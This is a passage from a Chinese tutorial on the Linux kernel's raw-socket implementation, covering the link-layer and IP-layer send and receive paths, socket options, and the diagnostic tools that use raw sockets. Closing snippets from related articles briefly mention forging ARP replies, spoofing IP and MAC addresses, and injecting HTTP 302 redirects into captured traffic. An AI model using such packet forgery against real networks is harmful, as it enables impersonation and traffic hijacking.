        该函数比较重要的函数片段如下。首先进行参数检查及skb分配,再调用驱动程序的hard_header函数(对于以太网驱动是eth_header()函数)来构造报文的MAC头部,此时的skb->data是指向MAC首部的,且skb->len为MAC首部长度(即14)。对于创建时指定type为SOCK_RAW类型套接字,由于在发送时需要自行构造MAC头部,所以将skb->tail指针恢复到MAC首部开始的位置,并将skb->len设置为0(即不使用内核构造的MAC首部)。接着再调用memcpy_fromiovec()从skb->tail的位置开始拷贝报文数据,最终调用网卡驱动的发送函数将报文发送出去。


    注:如果创建套接字时指定type为SOCK_DGRAM,则使用内核构造的MAC首部,用户态发送的数据中不含MAC头部数据。


    …… 
    res = dev->hard_header(skb, dev, ntohs(proto), addr, NULL, len); //构造MAC首部 
    if (sock->type != SOCK_DGRAM) { 
            skb->tail = skb->data; //SOCK_RAW类型 
            skb->len = 0; 

    ……
    err = memcpy_fromiovec(skb_put(skb,len), msg->msg_iov, len); //拷贝报文数据
    …… 
    err = dev_queue_xmit(skb); //发送报文 
    ……
     
    2.2.4  其它


    a)         套接字的绑定


    链路层原始套接字可调用bind()函数进行绑定,让packet_type结构dev字段指向相应的net_device结构,即将套接字绑定到相应的网口上。如2.2.2节报文接收的描述,在接收时如果套接口有绑定就需要进一步确认当前skb->dev是否与绑定网口相匹配,只有匹配的才会将报文上送到相应的套接字。


    sys_bind()->packet_bind()->packet_do_bind()


    b)        套接字选项


    以下是比较常用的套接字选项


    PACKET_RX_RING:用于PACKET_MMAP收包方式设置接收环形队列


    PACKET_STATISTICS:用于读取收包统计信息


    c)       信息查看


    链路层原始套接字的信息可通过/proc/net/packet进行查看。如下为图2和图3中创建的原始套接字的信息,可以查看到创建时指定的协议类型、是否绑定网口、已使用的接收缓存大小等信息。这些信息对于分析和定位问题有帮助。 


    cat /proc/net/packet
    sk RefCnt Type Proto Iface R Rmem User Inode
    ffff810007df8400 3 3 0810 0 1 0 0 1310
    ffff810007df8800 3 3 0806 0 1 0 0 1309
    ffff810007df8c00 3 3 0800 0 1 560 0 1308
    ffff810007df8000 3 3 0003 0 1 560 0 1307
    ffff810007df3800 3 3 0003 0 1 560 0 1306
     
    2.3  网络层原始套接字的实现


    2.3.1  套接字创建


    如图4所示,在IPV4协议栈中一个传输层协议(如TCP,UDP,UDP-Lite等)对应一个inet_protosw结构,而inet_protosw结构中又包含了proto_ops结构和proto结构。网络子系统初始化时将所有的inet_protosw结构hash到全局的inetsw[]数组中。proto_ops结构实现的是从与协议无关的套接口层到协议相关的传输层的转接,而proto结构又将传输层映射到网络层。


    图4  inetsw[]数组结构


        调用socket()函数创建套接字的流程如下,网络层原始套接字最终由inet_create()创建。


    sys_socket()->sock_create()->__sock_create()->inet_create()


        inet_create()函数除用于创建网络层原始套接字外,还用于创建TCP、UDP套接字。首先根据socket()函数的第二个参数(即SOCK_RAW)在inetsw[]数组中匹配到相应的inet_protosw结构。并将套接字结构的ops设置为inet_sockraw_ops,将套接字结构的sk_prot设置为raw_prot。然后对于SOCK_RAW类型套接字,还要将inet->num设置为协议类型,以便最后能调用proto结构的hash函数(即raw_v4_hash())。
      


    …… 
    sock->ops = answer->ops; //将socket结构的ops设置为inet_sockraw_ops 
    answer_prot = answer->prot; 
    …… 
    if (SOCK_RAW == sock->type) { //SOCK_RAW类型的套接字,设置inet->num 
            inet->num = protocol; 
            if (IPPROTO_RAW == protocol) //protocol为IPPROTO_RAW的特殊处理, 
                    inet->hdrincl = 1; 后续在报文发送时会再讲到 

    ……
    if (inet->num) {
            inet->sport = htons(inet->num); 
            sk->sk_prot->hash(sk); //调用raw_v4_hash()函数将套接字链到raw_v4_htable中 

    ……
     
    经过如上操作后,相应的套接字结构sock会通过raw_v4_hash()函数链到raw_v4_htable链表中,网络层原始套接字报文接收时需要使用到raw_v4_htable。如图5所示,共创建了3个网络层原始套接字,协议类型分别为IPPROTO_TCP、IPPROTO_ICMP和89。
     
    图5  raw_v4_htable链表


    2.3.2  报文接收


    网卡驱动收到报文后在软中断上下文由netif_receive_skb()处理,对于IP报文且目的地址为本机的会由ip_rcv()最终调用ip_local_deliver_finish()函数。ip_local_deliver_finish()主要功能的代码片段如下,先根据报文的L4层协议类型hash值在图5中的raw_v4_htable表中查找是否有匹配的sock。如果有匹配的sock结构,就进一步调用raw_v4_input()处理网络层原始套接字。不管是否有原始套接字要处理,该报文都会走后续的协议栈处理流程。即会继续匹配inet_protos[]数组,根据L4层协议类型走TCP、UDP、ICMP等不同处理流程。
         
    …… 
    hash = protocol & (MAX_INET_PROTOS - 1); //根据报文协议类型取hash值 
    raw_sk = sk_head(&raw_v4_htable[hash]); //在raw_v4_htable中查找 
    …… 
    if (raw_sk && !raw_v4_input(skb, skb->nh.iph, hash)) //处理原始套接字 
    …… 
    if ((ipprot = rcu_dereference(inet_protos[hash])) != NULL) { //匹配inet_protos[]数组 
            …… 
            ret = ipprot->handler(skb); //调用传输层处理函数 
            …… 
    } else { //如果在inet_protos[]数组中未匹配到,则释放报文
            …… 
            kfree_skb(skb); 

    ……
     
    如图6所示的inet_protos[]数组,每项由net_protocol结构组成。表示一个协议(包括传输层协议和网络层附属协议)的接收处理函数集,一般包括一个正常接收函数和一个出错接收函数。图中TCP、UDP和ICMP协议的接收处理函数分别为tcp_v4_rcv()、udp_rcv()和icmp_rcv()。如果在inet_protos[]数组中未配置到相应的net_protocol结构,报文就会被丢弃掉。比如OSPF报文(协议类型为89)在inet_protos[]数组中没有相应的项,内核会将其丢弃掉,这种报文只能提供网络层原始套接字接收到用户态来处理。


     图6  inet_protos[]数组结构


        网络层原始套接字的总体接收流程如下,最终会将skb挂到相应套接字上,并唤醒用户态进程读取报文数据。


    网卡驱动->netif_receive_skb()->ip_rcv()->ip_rcv_finish()->ip_local_deliver()->ip_local


    _deliver_finish()->raw_v4_input()->raw_rcv()->raw_rcv_skb()->sock_queue_rcv_skb()


    …… 
    skb_queue_tail(&sk->sk_receive_queue, skb); //挂到接收队列 
    if (!sock_flag(sk, SOCK_DEAD)) 
            sk->sk_data_ready(sk, skb_len); //唤醒用户态进程 
    ……
     
           上面介绍了报文接收在软中断的处理流程,下面介绍用户态进程读取报文是如何实现的。用户态的recvmsg()最终会调用raw_recvmsg(),后者再调用skb_recv_datagram。如果套接字接收队列sk->sk_receive_queue中有报文就取skb并返回。否则调用wait_for_packet()等待,直到内核软中断收到报文并唤醒用户态进程。


    sys_recvmsg()->sock_recvmsg()->…->sock_common_recvmsg()->raw_recvmsg()


    2.3.3  报文发送


    用户态调用sendto()或sendmsg()发送报文的内核态处理流程如下,最终由raw_sendmsg()进行发送。


    sys_sendto()->sock_sendmsg()->__sock_sendmsg()->inet_sendmsg()->raw_sendmsg()


        此函数先进行一些参数合法性检测,然后调用ip_route_output_slow()进行选路。选路成功后主要执行如下代码片段,根据inet->hdrincl是否设置走不同的流程。raw_send_hdrinc()函数表示用户态发送的数据中需要包含IP首部,即由调用者在发送时自行构造IP首部。如果inet->hdrincl未置位,表示内核会构造IP首部,即调用者发送的数据中不包含IP首部。不管走哪个流程,最终都会经过ip_output()->ip_finish_output()->…->dev_queue_xmit()将报文交给网卡驱动的发送函数发送出去。


    …… 
    if (inet->hdrincl) { //调用者要构造IP首部 
            err = raw_send_hdrinc(sk, msg->msg_iov, len, 
                                  rt, msg->msg_flags); 
    } else { 
            …… //由内核构造IP首部 
           err = ip_push_pending_frames(sk); 

    ……
       注:inet->hdrincl置位表示用户态发送的数据中要包含IP首部,inet->hdrincl在以下两种情况下被置位。


        a). 给套接字设置IP_HDRINCL选项


              setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &val, sizeof(val))


        b). 调用socket()创建套接字时,第三个参数指定为IPPROTO_RAW,见2.3.1节。


              socktet(PF_INET, SOCK_RAW, IPPROTO_RAW)


    2.3.4  其它


    a)       套接字绑定


    若原始套接字调用bind()绑定了一个地址,则该套接口只能收到目的IP地址与绑定地址相匹配的报文。内核的具体实现是raw_bind(),将inet->rcv_saddr设置为绑定地址。在原始套接字接收时,__raw_v4_lookup()在设置了inet->rcv_saddr字段的情况下,会判断该字段是否与报文目的IP地址相同。


    sys_bind()->inet_bind()->raw_bind()


    b)      信息查看


    网络层原始套接字的信息可通过/proc/net/raw进行查看。如下为图5所创建的3个网络层原始套接字的信息,可以查看到创建套接字时指定的协议类型、绑定的地址、发送和接收队列已使用的缓存大小等信息。这些信息对于分析和定位问题有帮助。


    cat /proc/net/raw
    sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
    1: 00000000:0001 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 1323 2 ffff8100070b2380
    6: 00000000:0006 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 1322 2 ffff8100070b2080
    89: 00000000:0059 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 1324 2 ffff8100070b2680
     
     三、应用及注意事项


    3.1  使用链路层原始套接字
     
    注意事项:
     
    a)       尽量避免创建过多原始套接字,且原始套接字要尽量绑定网卡。因为收到每个报文除了会将其分发给绑定在该网卡上的原始套接字外,还会分发给没有绑定网卡的原始套接字。如果原始套接字较多,一个报文就会在软中断上下文中分发多次,造成处理时间过长。
    b)      发包和收包尽量使用同一个原始套接字。如果发包与收包使用两个不同的原始套接字,会由于接收报文时分发多次而影响性能。而且用于发送的那个套接字的接收队列上也会缓存报文,直至达到接收队列大小限制,会造成内存泄露。
    c)       若只接收指定类型二层报文,在调用socket()时指定第三个参数的协议类型,而最好不要使用ETH_P_ALL。因为ETH_P_ALL会接收所有类型的报文,而且还会将外发报文收回来,这样就需要做BPF过滤,比较影响性能。


    3.2  使用网络层原始套接字


    注意事项:


    a)       由于IP报文的重组是在网络层原始套接字接收流程之前执行的,所以该原始套接字不能接收到UDP和TCP的分组数据。
    b)      若原始套接字已由bind()绑定了某个本地IP地址,那么只有目的IP地址与绑定地址匹配的报文,才能递送到这个套接口上。
    c)       若原始套接字已由connect()指定了某个远地IP地址,那么只有源IP地址与这个已连接地址匹配的报文,才能递送到这个套接口上。


    3.3  网络诊断工具使用原始套接字


    很多网络诊断工具也是利用原始套接字来实现的,经常会使用到的有tcpdump, ping和traceroute等。
    tcpdump
    该工具用于截获网口上的报文流量。其实现原理是创建ETH_P_ALL类型的链路层原始套接字,读取和解析报文数据并将信息显示出来。
    ping
    该工具用于检查网络连接。其实现原理是创建网络层原始套接字,指定协议类型为IPPROTO_ICMP。检测方构造ICMP回射请求报文(类型为ICMP_ECHO),根据ICMP协议实现,被检测方收到该请求报文后会响应一个ICMP回射应答报文(类型为ICMP_ECHOREPLY)。然后检测方通过原始套接字读取并解析应答报文,并显示出序号、TTL等信息。
    traceroute
    该工具用于跟踪IP报文在网络中的路由过程。其实现原理也是创建网络层原始套接字,指定协议类型为IPPROTO_ICMP。假设从A主机路由到D主机,需要依次经过B主机和C主机。使用traceroute来跟踪A主机到D主机的路由途径,具体步骤如下,在每次探测过程中会显示各节点的IP、时间等信息。


    a)       A主机使用普通的UDP套接字向目的主机发送TTL为1(使用套接口选项IP_TTL来修改)的UDP报文;
    b)      B主机收到该UDP报文后,由于TTL为1会拒绝转发,并且向A主机发送code为ICMP_EXC_TTL的ICMP报文;
    c)       A主机用创建的网络层原始套接字读取并解析ICMP报文。如果ICMP报文code是ICMP_EXC_TTL,就将UDP报文的TTL增加1并回到步骤a)继续进行探测;如果ICMP报文的code是ICMP_PROT_UNREACH,表示UDP报文到达了目的地。


                  A主机―>B主机―>C主机―>D主机


    参考资料
    《Linux内核源码剖析——TCP/IP实现》
    《深入理解Linux网络内幕》
    《UNIX网络编程 第1卷:套接口API》
    ========
    展开全文
  • linux原始套接字详解

    千次阅读 2016-10-13 10:54:19
    一、原始套接字概述   协议栈的原始套接字从实现上可以分为“链路层原始套接...而网络层原始套接字可以直接用于接收和发送IP层的报文数据,在发送时需要自行构造IP报文头(取决是否设置IP_HDRINCL选项)。   1.1
  • linux原始套接字-发送ICMP报文

    千次阅读 2016-10-11 19:13:16
    本程序可以使得一个不存在的ip被ping通,演示了如何通过PF_PACKET SOCK_RAW来接收和发送arp和icmp帧。 1、开启网卡混杂模式。 2、接收 arp request。 3、伪造 arp reply,响应请求者。 4、接收 icmp echo request。...
  • 本文从IPV4协议栈原始套接字的分类入手,详细介绍了链路层和网络层原始套接字的特点及其内核实现细节。并结合原始套接字的实际应用,说明各类型原始套接字的适应...链路层原始套接字可以直接用于接收和发送链路层的M
  • Linux原始套接字抓取底层报文

    千次阅读 2018-12-16 00:08:09
    1.原始套接字使用场景  我们平常所用到的网络编程都是在应用层收发数据,每个程序只能收到发给自己的数据,即每个程序只能收到来自该程序绑定的端口的数据。收到的数据往往只包括应用层数据,原有的头部信息在传递...
  • 原始套接字 实现了 抓包 协议分析。举个例子现在想通过判断TCP 的数据部分 判断是否含有Host: www.baidu.com之类的 然后返回一个302重定向包 将其请求重定向到另外的一个URL上。但是 发送的包发送不出去 wireshark...
  • Linux网络编程——原始套接字编程

    万次阅读 多人点赞 2015-03-27 17:47:16
    原始套接字编程和之前的 UDP 编程差不多,无非就是创建一个套接字后,通过这个套接字接收数据或者发送数据。区别在于,原始套接字可以自行组装数据包(伪装本地 IP,本地 MAC),可以接收本机网卡上所有的数据帧...
  • 本文从IPV4协议栈原始套接字的分类入手,详细介绍了链路层和网络层原始套接字的特点及其内核实现细节。并结合原始套接字的实际应用,说明各类型原始套接字的适应范围,以及在实际使用时需要注意的问题。 ...
  • 原始套接字发送ARP数据包

    千次阅读 2019-04-14 10:42:29
    什么是ARP协议     ARP协议是Address Resolution Protocol(地址解析协议)的缩写...所谓“地址解析”就是主机在发送数据帧之前将目标IP地址转化成目标MAC地址的过程。ARP协议的基本功能就是通...
  • 原始套接字编程和之前的 UDP 编程差不多,无非就是创建一个套接字后,通过这个套接字接收数据或者发送数据。区别在于,原始套接字可以自行组装数据包(伪装本地 IP,本地 MAC),可以接收本机网卡上所有的数据帧...
  • linux原始套接字编程

    千次阅读 2017-03-13 19:35:51
    1. 面向IP层的原始套接字编程 -----------------------------------------------------------------------------------------------------------------------------  socket(AF_INET,SOCK_RAW,protocol)  [1]. ...
  • 原始套接字发送IP数据报

    千次阅读 2019-04-16 10:24:30
    原始套接字发送ARP数据包》 一样:构造套接字,填写地址数据结构,填充构造发送报文,调用sendto发送。  通过以下构造套接字: int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP) );  由于我们想...
  • 这里是在 ubuntu 下通过原始套接字组一个 udp 数据包,给 PC 机的网络调试助手发送信息: #include #include #include #include <net/if.h> //struct ifreq #include <sys/ioctl.h> //ioctl、SIOCGIFADDR #...
  • Linux 原始套接字--myping的实现   一、套接字的类型 A.流套接字(SOCK_STREAM) 用于提供面向连接、可靠的数据传输服务,其使用传输层的TCP协议 B.数据报套接字(SOCK_DGRAM)
  • xterm下原始套接字可以接收数据包,但是发送数据包时出错,怎么解决? 错误是【error 101】network is unreachable. 代码如下: proto = socket.getprotobyname('tcp') # only tcp sock = socket.socket( socket.AF...
  • 这里是在 ubuntu 下通过原始套接字组一个 udp 数据包,给 PC 机的网络调试助手发送信息: #include #include #include #include <net/if.h> //struct ifreq #include <sys/ioctl.h> //ioctl、...
  • Linux网络编程:原始套接字编程及实例分析 转载 2016年07月29日 11:25:11 标签: socket / 网络编程 / 编程 / linux / 888 编辑 删除 Linux网络编程:原始套接字编程及实例分析 一、原始套接字能干什么? ...
  • linux原始套接字-arp请求与接收

    千次阅读 2017-07-12 17:27:11
    一.概述 以太网的arp数据包结构: arp结构op操作参数:1为请求,2为应答。 常用的数据结构如下: 1.物理地址结构位于netpacket/packet.h 1 struct sockaddr_ll ... 3 unsigned short int sll_
  • 通常情况下程序员接所接触到的套接字(Socket)为两类:(1)流式套接字(SOCK_STREAM):一种面向连接的 Socket,针对于面向连接的TCP 服务应用;(2)数据报式套接字(SOCK_DGRAM):一种无连接的 Socket,对应于...
  • 发送端代码:#!/usr/bin/python # -*- coding: UTF-8 -*-import socket import structraw_socket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x1234)) raw_socket.bind((&quot;eth0&...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 23,868
精华内容 9,547
关键字:

linux原始套接字发送

linux 订阅